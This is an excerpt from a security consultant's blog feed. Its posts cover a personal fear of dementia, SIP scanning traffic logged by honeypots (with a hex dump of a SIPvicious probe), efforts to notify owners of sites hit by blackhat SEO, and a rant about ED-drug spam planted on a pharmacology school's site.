<p>We get a lot of feedback from the folks who play Holiday Hack. While I absolutely love hearing people tell us about how they use Holiday Hack to introduce their kids or their spouse to the technologies they work with in their day jobs, there&rsquo;s one type of email that really makes me smile. It makes me incredible happy when someone says, <em>&ldquo;I&rsquo;ve heard so much hype about blockchain but I never really knew what it was about. Now I actually understand how it works.&rdquo;</em></p>
<p>Knowledge - especially knowledge gained through spending hands-on time with a technology - is the best antidote our industry has to this problem. Otherwise, we&rsquo;ll just keep flouncing along after the newest and shiniest gewgaw the vendors churn out.</p>
<p>Because, in many ways, we&rsquo;re like children following the Pied Piper - listening to the music being played - just wanting to get our hands on the newest, coolest things we see.</p>
<p>But sometimes, those cool little round pebbles you find, will just turn out to be rabbit poop&hellip;</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
March 15, 2020</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/technology" term="technology" label="technology" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/uh-oh" term="uh-oh" label="uh-oh" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/rant" term="rant" label="rant" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[0x3A]]></title>
            <link href="https://yourflyis0pen.com/article/0x3a/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/mr-watson/?utm_source=atom_feed" rel="related" type="text/html" title="&#34;Mr. Watson, come here. I want some career advice.&#34;" />
                <link href="https://yourflyis0pen.com/article/thick-skull-thicker-skin/?utm_source=atom_feed" rel="related" type="text/html" title="Thick Skull, Thicker Skin" />
                <link href="https://yourflyis0pen.com/article/putting-the-ed-in-edu/?utm_source=atom_feed" rel="related" type="text/html" title="Putting the ED in EDU..." />
                <link href="https://yourflyis0pen.com/page/compromise-next-steps/?utm_source=atom_feed" rel="related" type="text/html" title="Your Site Is Compromised: Next Steps" />
                <link href="https://yourflyis0pen.com/article/you-done-brang-it-on-yourself/?utm_source=atom_feed" rel="related" type="text/html" title="You Done Brang It on Yourself" />
            
                <id>https://yourflyis0pen.com/article/0x3a/</id>
            
            
            <published>2021-03-11T09:46:03-06:00</published>
            <updated>2021-03-11T09:46:03-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>I&rsquo;m thinking of a number&hellip;</p>
<p><em>Note: I&rsquo;m rapidly approaching the day which marks me having taken yet another trip around the sun - and that got me thinking. This blog post is the result.</em></p>
<p><em>This was one of the more difficult posts to write, because it&rsquo;s very personal. We all have our own personal hells built from fear and anxiety - and this one is mine.</em></p>
<p><em>One of the most important things I&rsquo;ve learned over the years is this: never judge another person&rsquo;s fears. It&rsquo;s all too easy to do, and it&rsquo;s just wrong and incredibly unkind.</em></p>
<p><em>We somehow manage to find so many things in this world to divide humanity into &ldquo;us&rdquo; and &ldquo;them.&rdquo; But we&rsquo;re <strong>all</strong> afraid of something&hellip;</em></p>
<hr>
<p>Seeing him that way hurt.</p>
<p>It was the contrast. The last time I&rsquo;d seen him had been so different. Then, he was himself. Not anymore.</p>
<p>My Grandpa was sitting up in a hospital bed, and for most of my visit with him, he had a distant look in his eyes. When you see that look, you know: he&rsquo;s not <em>really</em> there. His mind has wandered away.</p>
<p>It might come back in a moment, in an hour, in a day - it might not. Over the course of the time I was there, his mind wandered back a few times - but for the most part, it was <em>away</em>.</p>
<p>There were tantalizing moments where clarity seemed so close. He would sometimes talk about normal things - he would walk along that border between reality and whatever it is that lies beyond. Thinking back, those moments were probably more my wishful thinking than anything else.</p>
<p>Then, there were the <em>bugs</em>.</p>
<p>He was at war with imaginary bugs. They were a constant nemesis. Crawling out of his ears, out of the IV in his arm, out of the pillow. He rarely sat still - because the bugs wouldn&rsquo;t let him.</p>
<p>He needed to smash them between a leathery finger and thumb.</p>
<p>He needed to scratch them away.</p>
<p>There were lots of marks on his face, bloody scratches by his ears - the war wounds of his battle with the bugs.</p>
<p>Seeing him that way hurt.</p>
<p>And it was terrifying&hellip;</p>
<hr>
<p><em>This is my biggest fear.</em></p>
<p>I&rsquo;m getting older - all of us are. But for me, each passing year makes my fear grow bigger and bigger.</p>
<p><em>I don&rsquo;t want to end up like him.</em></p>
<p>There. I said it, wrote it&hellip; whatever.</p>
<p>For my entire adult life, I&rsquo;ve made my living off of the three pounds of <em>stuff</em> between my ears. The thought that it may, ultimately, betray me is what terrifies me - what keeps me awake at night. <em>My biggest fear.</em></p>
<p>With each new trip around the sun, I find myself wondering more and more, &ldquo;when,&rdquo; not &ldquo;if,&rdquo; and - trust me - that&rsquo;s a bad transition to make.</p>
<p>I watch myself. I feign scientific detachment, but in reality, every slip, every forgotten word, every misremembered name, every pause as I try to pick up a lost thread in a conversation frightens me.</p>
<p>I know I&rsquo;m somewhat obsessing. I know that this fear of mine is making me hyper-aware. It&rsquo;s making me see problems where - for the most part - none exist. But still, I watch myself.</p>
<p>If I&rsquo;m objective, I can look at this past year and see that I&rsquo;m still on my game. I accomplished a lot. I learned. I created new, and amazing things (if I do say so myself&hellip;). But that&rsquo;s the thing about fears. <em>Fears defy objectivity</em>.</p>
<p>Accomplishing, learning and creating, are just a way of saying to life, <em>I&rsquo;m still here.</em> It&rsquo;s why we do everything. As we wander on our path, at every turn, we want to be able to shout at the universe, <em>&ldquo;I&rsquo;m still here.&rdquo;</em></p>
<p>And I suppose, when I think about it from that perspective, my greatest fear is to still be here, but not be able to shout about it.</p>
<p>Even writing those words is <em>terrifying.</em></p>
<p>So, what is the point of all of this? Why am I talking about my greatest fear?</p>
<p>Because I&rsquo;m not alone. This isn&rsquo;t one of those <em>us</em> and <em>them</em> concepts. You have fears of your own and whether you want to admit it or not, your fears - different though they may be - have you tied up in just the same kind of knots. We all do. It&rsquo;s part of being human.</p>
<p>What to do? What to do?</p>
<p>There&rsquo;s all sorts of inspirational quotes that you can find that talk about <em>conquering</em> or <em>overcoming</em> your fears. They all seem a little dangerously cliché to me.</p>
<p>So here&rsquo;s my advice: <em>Leave your fears alone.</em> Don&rsquo;t try to <em>conquer</em> them. Don&rsquo;t <em>overcome</em> them. Because I&rsquo;m pretty sure that whoever is selling that particular brand of Hallmark-card crap has never actually lived it. It&rsquo;s a faux-inspirational wrapper around judging someone else&rsquo;s fears, translating the words <em>your fears aren&rsquo;t valid, get over it</em> into some pithy saying on a motivational poster.</p>
<p>I don&rsquo;t know about you, but <em>my</em> fears are valid. <em>Conquering</em> or <em>overcoming</em> them isn&rsquo;t going to happen.</p>
<p>Want some more advice? Acknowledge your fears for what they are - a potential future that you don&rsquo;t want. Use those fears to lower the probability of that future happening and then do your very best to <em>ignore them.</em></p>
<p>Seriously. <em>Ignore them.</em></p>
<p>You&rsquo;re not going to be perfect about it - Lord knows <em>I&rsquo;m</em> not. But the day that I decided to stop trying to <em>overcome</em> my fears, the day I acknowledged that what I was afraid of was just a potential future that I didn&rsquo;t like, I gained a whole lot of perspective. I stopped beating myself up for not <em>conquering</em> my fear.</p>
<p>Do I still worry?</p>
<p><em>Hell yes.</em></p>
<p>I&rsquo;m worrying about a <em>potential</em> future. I don&rsquo;t need to <em>overcome</em> that - it&rsquo;s a perfectly reasonable thing to do.</p>
<p>I worry a bit about that potential <em>future</em>, and then I refocus myself on that very special word: <em>potential.</em></p>
<p>What I worry about may happen. It may not. I&rsquo;ll do what I can to control the probabilities around that potential, but then I&rsquo;m done. I&rsquo;ll ignore it as best as I can, and move on.</p>
<p>Divorced from the damaging idea that fears are to be <em>conquered</em> or <em>overcome</em>, those fears become guidelines for making choices about the direction of your life. <em>I&rsquo;ll do what I can to make that future be what I want. Beyond that, I&rsquo;m not in control.</em></p>
<p>Now this isn&rsquo;t to say that fears and anxiety can&rsquo;t become a problem. They absolutely can. Fears and anxiety can become crippling - and if you&rsquo;re at that point in your life, please seek professional help.</p>
<p>For the rest of us, maybe dispensing with this notion of <em>conquering</em> our fears and, instead, trying to live with, use, and (for the most part) <em>ignore</em> our fears is the way to go. Maybe then we can see our fears as a useful means for moving our lives in a direction we want to go.</p>
<p>And, dear universe, for now (at least): <em>I&rsquo;m still here.</em></p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
March 11, 2021</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/personal" term="personal" label="personal" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/life" term="life" label="life" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA["Mr. Watson, come here. I want some career advice."]]></title>
            <link href="https://yourflyis0pen.com/article/mr-watson/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/thick-skull-thicker-skin/?utm_source=atom_feed" rel="related" type="text/html" title="Thick Skull, Thicker Skin" />
                <link href="https://yourflyis0pen.com/article/fugget-about-it/?utm_source=atom_feed" rel="related" type="text/html" title="Fugget About It" />
                <link href="https://yourflyis0pen.com/article/extraordinary-claims/?utm_source=atom_feed" rel="related" type="text/html" title="Extraordinary Claims, Ordinary Evidence..." />
                <link href="https://yourflyis0pen.com/article/what-clinic-are-you-with/?utm_source=atom_feed" rel="related" type="text/html" title="What Clinic Are You With?" />
                <link href="https://yourflyis0pen.com/article/the-russian-linking-rings/?utm_source=atom_feed" rel="related" type="text/html" title="The Russian Linking Rings" />
            
                <id>https://yourflyis0pen.com/article/mr-watson/</id>
            
            
            <published>2021-03-09T23:37:25-06:00</published>
            <updated>2021-03-09T23:37:25-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>Sometimes, I like to fire up a shell on one of my honeypot boxes, <code>tail -f</code> the logs from one of the tools I&rsquo;ve written, and just sit and watch the attacks fly by.</p>
<p>That got me to thinking: <em>What the heck is going on with SIP?</em></p>
<p>I&rsquo;m a pretty pragmatic kinda&rsquo; guy. I once gave a presentation at a SANS event with the title, <em>Hacking Ugly</em>, which - in reality - was just an ode to pragmatism. In it, I made this argument: <em>We can all appreciate a beautifully constructed tool or an incredibly complex and well-structured pentest attack. But most of the time, it&rsquo;s hastily thrown together scripts or meatball attacks that actually win the day.</em></p>
<p>So I started thinking about SIP hacking from a pragmatic point of view. Seriously, what&rsquo;s going on here?</p>
<p>The Session Initiation Protocol (SIP) is a signaling protocol used for initiating, maintaining, and terminating real-time sessions that include voice, video and messaging applications.<sup><a href="#star">*</a></sup> SIP is used to provide signaling for Internet-based telephony by private, IP-based telephone systems (think IP PBX systems, like the open-source tool <a href="https://www.asterisk.org/">Asterisk</a>).</p>
<p>The title of this little literary gem is a riff on what are supposedly the first words, spoken by Alexander Graham Bell, when he demonstrated his ability to &ldquo;talk with electricity&rdquo; way back in 1876 (&ldquo;Mr Watson, come here. I want to see you.&rdquo;). I&rsquo;m pretty sure Bell would be amazed at what his invention has become.</p>
<p>SIP, in many ways, takes inspiration from another communication protocol, SMTP, and we all know how well that particular exercise has turned out from a security perspective&hellip; so you gotta figure SIP is a minefield too.</p>
<p>And it is&hellip;</p>
<p>SIP generally is run on port 5060/UDP, and on a daily basis, I see a bunch of stuff like this hit my honeypots:</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>00000000  4f 50 54 49 4f 4e 53 20 - 73 69 70 3a 31 30 30 40  |OPTIONS sip:100@|
</span></span><span style="display:flex;"><span>00000010  XX XX XX XX XX XX XX XX - XX XX XX XX 3a 35 30 36  |XXXXXXXXXXXX:506|
</span></span><span style="display:flex;"><span>00000020  30 20 53 49 50 2f 32 2e - 30 0d 0a 56 69 61 3a 20  |0 SIP/2.0..Via: |
</span></span><span style="display:flex;"><span>00000030  53 49 50 2f 32 2e 30 2f - 55 44 50 20 30 2e 36 2e  |SIP/2.0/UDP 0.6.|
</span></span><span style="display:flex;"><span>00000040  31 31 2e 31 36 33 3a 35 - 30 36 31 3b 62 72 61 6e  |11.163:5061;bran|
</span></span><span style="display:flex;"><span>00000050  63 68 3d 7a 39 68 47 34 - 62 4b 2d 33 32 35 36 35  |ch=z9hG4bK-32565|
</span></span><span style="display:flex;"><span>00000060  31 30 38 34 35 3b 72 70 - 6f 72 74 0d 0a 43 6f 6e  |10845;rport..Con|
</span></span><span style="display:flex;"><span>00000070  74 65 6e 74 2d 4c 65 6e - 67 74 68 3a 20 30 0d 0a  |tent-Length: 0..|
</span></span><span style="display:flex;"><span>00000080  46 72 6f 6d 3a 20 22 73 - 69 70 76 69 63 69 6f 75  |From: &#34;sipviciou|
</span></span><span style="display:flex;"><span>00000090  73 22 3c 73 69 70 3a 31 - 30 30 40 31 2e 31 2e 31  |s&#34;&lt;sip:100@1.1.1|
</span></span><span style="display:flex;"><span>000000a0  2e 31 3e 3b 74 61 67 3d - 36 31 33 32 36 34 33 39  |.1&gt;;tag=61326439|
</span></span><span style="display:flex;"><span>000000b0  33 37 33 39 33 37 36 34 - 33 31 33 33 36 33 33 34  |3739376431336334|
</span></span><span style="display:flex;"><span>000000c0  30 31 33 32 33 32 33 38 - 33 35 33 35 33 37 33 35  |0132323835353735|
</span></span><span style="display:flex;"><span>000000d0  33 38 33 37 0d 0a 41 63 - 63 65 70 74 3a 20 61 70  |3837..Accept: ap|
</span></span><span style="display:flex;"><span>000000e0  70 6c 69 63 61 74 69 6f - 6e 2f 73 64 70 0d 0a 55  |plication/sdp..U|
</span></span><span style="display:flex;"><span>000000f0  73 65 72 2d 41 67 65 6e - 74 3a 20 66 72 69 65 6e  |ser-Agent: frien|
</span></span><span style="display:flex;"><span>00000100  64 6c 79 2d 73 63 61 6e - 6e 65 72 0d 0a 54 6f 3a  |dly-scanner..To:|
</span></span><span style="display:flex;"><span>00000110  20 22 73 69 70 76 69 63 - 69 6f 75 73 22 3c 73 69  | &#34;sipvicious&#34;&lt;si|
</span></span><span style="display:flex;"><span>00000120  70 3a 31 30 30 40 31 2e - 31 2e 31 2e 31 3e 0d 0a  |p:100@1.1.1.1&gt;..|
</span></span><span style="display:flex;"><span>00000130  43 6f 6e 74 61 63 74 3a - 20 73 69 70 3a 31 30 30  |Contact: sip:100|
</span></span><span style="display:flex;"><span>00000140  40 30 2e 36 2e 31 31 2e - 31 36 33 3a 35 30 36 31  |@0.6.11.163:5061|
</span></span><span style="display:flex;"><span>00000150  0d 0a 43 53 65 71 3a 20 - 31 20 4f 50 54 49 4f 4e  |..CSeq: 1 OPTION|
</span></span><span style="display:flex;"><span>00000160  53 0d 0a 43 61 6c 6c 2d - 49 44 3a 20 31 37 35 32  |S..Call-ID: 1752|
</span></span><span style="display:flex;"><span>00000170  34 38 31 34 35 30 30 32 - 31 32 37 35 36 30 37 31  |4814500212756071|
</span></span><span style="display:flex;"><span>00000180  35 30 39 35 0d 0a 4d 61 - 78 2d 46 6f 72 77 61 72  |5095..Max-Forwar|
</span></span><span style="display:flex;"><span>00000190  64 73 3a 20 37 30 0d 0a - 0d 0a                    |ds: 70....      |
</span></span></code></pre></div><p>This particular attack is the result of someone running SIPvicious, the &ldquo;friendly-scanner,&rdquo; a SIP auditing tool used to scan for and enumerate SIP devices and accounts. It can be obtained freely from its <a href="https://github.com/EnableSecurity/sipvicious">GIT repo</a> or it can be found bundled with security auditing tools like Kali.</p>
<p>I did some checking, and I&rsquo;m seeing, on average, approximately 300 of these a day - or one every 4.8 minutes. While that doesn&rsquo;t approach the level of, say, RDP scanning, it&rsquo;s still a lot.</p>
<p>Over the past few weeks, I&rsquo;ve logged about 3000 different source IPs scanning for SIP. That&rsquo;s a pretty considerable number.</p>
<p>All of this attack traffic and all of these sources mean that the bad guys have a considerable &ldquo;investment&rdquo; in infrastructure aimed at SIP. But for what? How many targets can there be?</p>
<p>I&rsquo;ve seen this cruft in my logs for years. Seriously, this <em>has</em> to be a dead end, right?</p>
<p>I started doing a little research, and it turns out that there are a whole lot more here than you&rsquo;d think.</p>
<p>Let&rsquo;s just do a little <em>back of the envelope</em> math, based on what I found:</p>
<ul>
<li>According to the fine folks at Asterisk, they have 1.3 million new endpoints hitting the &lsquo;Net each year (whoa!)</li>
<li>That works out to about 3500 new endpoints per day</li>
<li>Asterisk isn&rsquo;t the only game in town, but it&rsquo;s probably the biggest&hellip; so let&rsquo;s just assume 5000 total new endpoints a day</li>
<li>Being generous, let&rsquo;s figure only 5% of those new endpoints are being set up by a first-rodeo, VoIP bubble-head and are poorly configured and vulnerable to exploitation</li>
<li>So as a diligent SIP scanner, you&rsquo;re competing for a new supply of, let&rsquo;s say, 250 vulnerable new SIP endpoints each day</li>
<li>With a tiny 100 member botnet, you could grab&hellip; Wait&hellip; wut?</li>
<li>Generate some ca$h with kickbacks you get for dialing premium rate numbers (charged to the owner of the PBX), $ell &ldquo;phone service,&rdquo; or u$e these (generally beefy) $ervers for $ome crypto mining&hellip;</li>
</ul>
<p>Ok. <em>Now I understand.</em></p>
<p>Do you ever get the feeling like you&rsquo;ve taken the wrong path in life?</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
March 10, 2021</p>
<p id="star"><sup>*</sup>Blatently ripped off from Wikipedia. (The Oracle of All Knowledge<sup>&trade;</sup>. Praise be... Praise be...)</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/craziness" term="craziness" label="craziness" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Thick Skull, Thicker Skin]]></title>
            <link href="https://yourflyis0pen.com/article/thick-skull-thicker-skin/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/what-clinic-are-you-with/?utm_source=atom_feed" rel="related" type="text/html" title="What Clinic Are You With?" />
                <link href="https://yourflyis0pen.com/article/fugget-about-it/?utm_source=atom_feed" rel="related" type="text/html" title="Fugget About It" />
                <link href="https://yourflyis0pen.com/article/extraordinary-claims/?utm_source=atom_feed" rel="related" type="text/html" title="Extraordinary Claims, Ordinary Evidence..." />
                <link href="https://yourflyis0pen.com/article/why-lie/?utm_source=atom_feed" rel="related" type="text/html" title="Why Lie?" />
                <link href="https://yourflyis0pen.com/article/knock/?utm_source=atom_feed" rel="related" type="text/html" title="Knock, Knock... Who&#39;s There?" />
            
                <id>https://yourflyis0pen.com/article/thick-skull-thicker-skin/</id>
            
            
            <published>2021-03-07T08:47:03-06:00</published>
            <updated>2021-03-07T08:47:03-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>Selective storytelling can sometimes lead to inaccurate conclusions.</p>
<p>For example: reading through the posts on this blog might lead you to think that I have a high rate of interactions with the owners of compromised sites. That&rsquo;s because I tend to focus on only the interesting stories (<em>or at least what I think are the interesting stories - you may feel differently</em>). Those stories tend to be ones where I actually have some interaction with a site owner - for better or for worse.</p>
<p>This post isn&rsquo;t going to be about that.</p>
<p>This post is about the <em>vast</em> majority of the dull boring stuff that goes on from day-to-day.</p>
<p>It&rsquo;s a story of unanswered emails, phone calls that get ignored, and tweets that seem to fall on deaf ears.</p>
<p>Through the years, I&rsquo;ve notified well over a thousand sites that they&rsquo;ve been 0wned. I say that not to brag (<em>seriously</em> I send emails to people telling them that their site&rsquo;s been whacked to sell boner pills and term papers - not really a braggin&rsquo; kind of subject&hellip;) but just to give you an idea of <em>scale</em>.</p>
<p>Over the past four days, I&rsquo;ve tracked down and <em>attempted</em> to notify the owners of 19 websites that have been the victim of blackhat SEO attacks. <em>Nineteen</em>.</p>
<p>Most of these sites have been altered to flog the aformentioned boner pills. A handful are selling <em>cheap NFL jerseys</em> and one is selling knockoff designer handbags - unless, of course, the makers of <em>real</em> designer handbags have resorted to whacking sites to boost sales.</p>
<p>One lucky site is selling <em>all three</em>. And Nike shoes. And term papers.</p>
<p>Somebody is an overachiever&hellip;</p>
<p>Sixteen of nineteen are running WordPress. Two are running what appears to be homegrown PHP code. One is an apparent exercise in self-flagellation via Java (I don&rsquo;t know which to feel worse about - that they got 0wned or that they wrote their site in Java).</p>
<p>A few are sites that were &ldquo;professionally&rdquo; designed. They have these goofy <em>&ldquo;Created by X&rdquo;</em> taglines at the bottom of the page, proudly proclaiming that an <em>&ldquo;Online Marketing Professional&rdquo;</em> was involved in the making of the disaster. <em>(Tom&rsquo;s $0.02: You probably wanna think twice about putting your name on a crappy WordPress site that&rsquo;s likely going to get neglected and 0wned. That&rsquo;s really <strong>not</strong> a good look.)</em></p>
<p>Among the owners: a private school, a pharmacology college, a community outreach center, a professional lighting company, a couple of local governments, a county superior court, and really good photographer.</p>
<p>I&rsquo;ve sent emails and I&rsquo;ve sent tweets. I&rsquo;ve contacted the &ldquo;professional&rdquo; website design firms along with their customers. I&rsquo;ve left four voicemails for IT folks.</p>
<p>Cutting to the chase: I&rsquo;ve heard back from exactly <em>zero</em>.</p>
<p><em>Zip, zilch, nada.</em></p>
<p>Today, I&rsquo;ll probably do a few more Google searches, find a few more sites, and spit out a few more emails/tweets/calls.</p>
<p>Why not? I've spent a lot of time over the years pounding my head against <i>The Big Internet Wall of 0wned Sites<sup>&trade;</sup></i>. What's a few more blows to the head? Ask anyone: my skull is pretty thick.</p>
<p>And who knows&hellip; maybe, if I&rsquo;m lucky, I&rsquo;ll get to chat with someone who will get angry at <em>me</em>, or accuse <em>me</em> of hacking their site. That&rsquo;s ok too&hellip; my skin is pretty thick.</p>
<p>But I <em>do</em> get tired. Over these years I&rsquo;ve taken a <em>break</em> or two. The last one was for about four and a half years. You see, all of this gets to be <em>wearing</em> after a while.</p>
<p>Not the mean, crabby people&hellip;</p>
<p>Not the accusations.</p>
<p>Far more wearing is the <em>silence</em>. That feeling like you&rsquo;re standing and screaming into the void. That&rsquo;s what makes me tired.</p>
<p>But it&rsquo;s all good. After some time off - a little <em>vacation</em> - I always come back.</p>
<p><em>Why?</em></p>
<p>Because, every once in a while, a site gets fixed. The boner pill ads silently disappear.</p>
<p><em>I take those as a win.</em></p>
<p>Even more rarely, someone sends me an email and says, &ldquo;<em>Thank you for letting me know.</em>&rdquo;</p>
<p>And, believe it or not, that one small gesture fixes a whole lot of silence.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
March 7, 2021</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/personal" term="personal" label="personal" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/attribution" term="attribution" label="attribution" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/craziness" term="craziness" label="craziness" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Putting the ED in EDU...]]></title>
            <link href="https://yourflyis0pen.com/article/putting-the-ed-in-edu/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/you-done-brang-it-on-yourself/?utm_source=atom_feed" rel="related" type="text/html" title="You Done Brang It on Yourself" />
                <link href="https://yourflyis0pen.com/article/merica/?utm_source=atom_feed" rel="related" type="text/html" title="Now You&#39;re Messin&#39; With &#39;Merica" />
                <link href="https://yourflyis0pen.com/article/miracle/?utm_source=atom_feed" rel="related" type="text/html" title="A Miracle In University Park" />
                <link href="https://yourflyis0pen.com/article/fugget-about-it/?utm_source=atom_feed" rel="related" type="text/html" title="Fugget About It" />
                <link href="https://yourflyis0pen.com/article/mnsm/?utm_source=atom_feed" rel="related" type="text/html" title="MNSM for Dummies" />
            
                <id>https://yourflyis0pen.com/article/putting-the-ed-in-edu/</id>
            
            
            <published>2021-03-05T16:17:36-06:00</published>
            <updated>2021-03-05T16:17:36-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>I seem to spend a lot of this blog <em>ranting</em> about blackhat SEO attackers.</p>
<p>They bother me.</p>
<p>They <em>really</em> bother me.</p>
<p>Maybe it&rsquo;s the brazen quality of the whole thing. I&rsquo;ve said it <a href="https://yourflyis0pen.com/article/wait-wut/">before</a>: it&rsquo;s kinda like breaking into someone&rsquo;s house and leaving behind a note with your name and phone number scrawled on it.</p>
<p>That bothers me, but that doesn&rsquo;t really cover it.</p>
<p>Did I mention that these guys <strong><em>really</em></strong> bother me?</p>
<p>I think it has to do with <em>bullying</em>. Bullying can take all kinds of forms, and I suppose I view what they do as <em>intellectual bullying.</em> They tend to go after the sites of smaller organizations - sites run by&hellip; well&hellip; business folks - people who have to rely on something like WordPress because they don&rsquo;t have an IT department.</p>
<p>These folks don&rsquo;t have time to learn how to set up and secure a website, so they find a CMS that promises it&rsquo;ll be <em>easy</em>, throw together some markup, and when the output looks decent, they think that they&rsquo;re done.</p>
<p>But then some dude who&rsquo;s learned more about how to exploit website misconfigurations than about how to be a decent human being comes along and uses their intelligence to <em>take advantage</em>. Traditional bullies use their physical prowess to abuse people who are smaller and weaker. Intellectual bullies use their intelligence in an analogous way - and it&rsquo;s still abusive, still bullying.</p>
<p>That&rsquo;s what bothers me - because bullying is wrong - whether you do it with brains or brawn.</p>
<p>Earlier today, I found the following on the hacked site of a small pharmacology school:</p>
<p><img src="ed.png" alt="html"></p>
<p>There&rsquo;s three things that really bother me about this:</p>
<ul>
<li>The hack took advantage of a WordPress flaw. WordPress runs something like <em>40%</em> of the websites on the Internet. These jerks had plenty of <em>other</em> sites to target&hellip; But no. <em>They had to put their Erectile Dysfunction (ED) drug spam on the site of a small pharmacology .edu site - potentially damaging their reputation.</em> Tell me that isn&rsquo;t abusive, tell me that isn&rsquo;t bullying, tell me that isn&rsquo;t just frickin&rsquo; adding insult to injury.</li>
<li>In addition to that particular <em>a**hole move</em>, these pinheads can&rsquo;t even be bothered to un-indent that final &lt;/html&gt; tag - which is driving me just a little bit crazy every time I look at it.</li>
<li>In the spirit of <em>piling on</em>, one of their subdomains has been whacked by my buddies the term paper SEO hackers&hellip; nice, real nice.</li>
</ul>
<p>I don&rsquo;t know if I&rsquo;ve made this clear: <em>these guys <strong>really</strong> bother me.</em></p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
March 5, 2021</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/series/the-term-paper-blues" term="the-term-paper-blues" label="The Term Paper Blues" />
                            
                        
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/webapp" term="webapp" label="webapp" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/stoopid" term="stoopid" label="stoopid" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/rant" term="rant" label="rant" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[You Done Brang It on Yourself]]></title>
            <link href="https://yourflyis0pen.com/article/you-done-brang-it-on-yourself/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/merica/?utm_source=atom_feed" rel="related" type="text/html" title="Now You&#39;re Messin&#39; With &#39;Merica" />
                <link href="https://yourflyis0pen.com/article/miracle/?utm_source=atom_feed" rel="related" type="text/html" title="A Miracle In University Park" />
                <link href="https://yourflyis0pen.com/article/fugget-about-it/?utm_source=atom_feed" rel="related" type="text/html" title="Fugget About It" />
                <link href="https://yourflyis0pen.com/article/mnsm/?utm_source=atom_feed" rel="related" type="text/html" title="MNSM for Dummies" />
                <link href="https://yourflyis0pen.com/article/do-more-research/?utm_source=atom_feed" rel="related" type="text/html" title="Maybe You Should Do More Research..." />
            
                <id>https://yourflyis0pen.com/article/you-done-brang-it-on-yourself/</id>
            
            
            <published>2021-03-02T16:29:23-06:00</published>
            <updated>2021-03-02T16:29:23-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>Back in college, my roommate had a favorite saying. Someone would do somthing dumb, rapidly followed by the unplesant consequences of those actions, and he would trot it out:</p>
<p><em>You done brang it on yourself.</em></p>
<p>I&rsquo;ve used that line over the years to great effect (just ask my kids). I&rsquo;ve also used another, related expression as well:</p>
<p><em>Play stupid games, win stupid prizes.</em></p>
<p>They both speak to the same point: The stuff we do has consequences.</p>
<p>Sometimes, we&rsquo;re prepared to face those consequences because we can see them coming. Sometimes we can&rsquo;t. Sometimes, we let ourselves be convinced that we can be careless about the things we do, and there won&rsquo;t be any consequences.</p>
<p>But there are. <em>There always are.</em></p>
<p>I&rsquo;ve <a href="https://yourflyis0pen.com/article/if-i-cant-see-it/">ranted</a> in the past about how much I dislike the way that content management systems (CMS) like WordPress (<em>The WebApp Hacker&rsquo;s BFF™</em>) get marketed:</p>
<p>&ldquo;Build simply. Create any kind of website. No code, no manuals, no limits.&rdquo;</p>
